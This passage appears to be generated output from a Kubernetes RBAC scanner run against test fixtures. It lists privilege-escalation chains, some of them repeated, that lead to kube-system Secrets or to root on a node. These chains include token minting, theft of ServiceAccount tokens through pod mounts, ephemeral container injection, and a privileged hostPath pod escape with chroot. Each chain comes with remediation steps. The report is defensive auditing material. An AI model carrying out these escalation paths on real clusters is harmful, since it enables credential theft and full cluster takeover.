  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/rbac-fixtures/sa-cluster-admin. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the node_drain_migrate technique via delete pods + node scheduling control, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-fixtures/sa-cluster-admin
  2. Step 2 of 2 Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-cluster-admin).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-cluster-admin).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH

Subjects can read kube-system Secrets in 1 hop(s)

KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS 8 subjects Score 8.6–7.6
MITRE ATT&CK: T1552.007T1078.004T1098

Affected subjects (8)

HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Namespace 8.6
ServiceAccount/privesc-fixtures/sa-secret-mint can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-secret-mint → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint/ via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create,get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint/).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create,get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint/).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/privesc-fixtures/sa-secret-read Namespace 8.6
ServiceAccount/privesc-fixtures/sa-secret-read can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-secret-read → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-read

Subject ServiceAccount/privesc-fixtures/sa-secret-read has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-read/ via read_secrets (get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-secret-read.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-read, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-read
    Permission granted get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-read/).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-read/).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/vulnerable/privileged-reader Namespace 8.6
ServiceAccount/vulnerable/privileged-reader can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/vulnerable/privileged-reader → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/vulnerable/privileged-reader/ via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/vulnerable/privileged-reader/).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/vulnerable/privileged-reader/).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 8.1
ServiceAccount/privesc-fixtures/sa-pod-create-escape can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint/ via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 8.1
ServiceAccount/rbac-fixtures/sa-pod-create can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-pod-create → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint/ via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Namespace 8.1
ServiceAccount/rbac-fixtures/sa-token-create can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-token-create → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/privesc-fixtures/sa-secret-mint via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint/ via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/privesc-fixtures/sa-secret-mint. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/privesc-fixtures/sa-secret-mint).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/privesc-fixtures/sa-secret-mint).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
MEDIUM ServiceAccount/privesc-fixtures/sa-ephemeral Namespace 7.6
ServiceAccount/privesc-fixtures/sa-ephemeral can read kube-system Secrets in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-ephemeral → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
3. ServiceAccount/privesc-fixtures/sa-secret-mint/ via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-ephemeral.
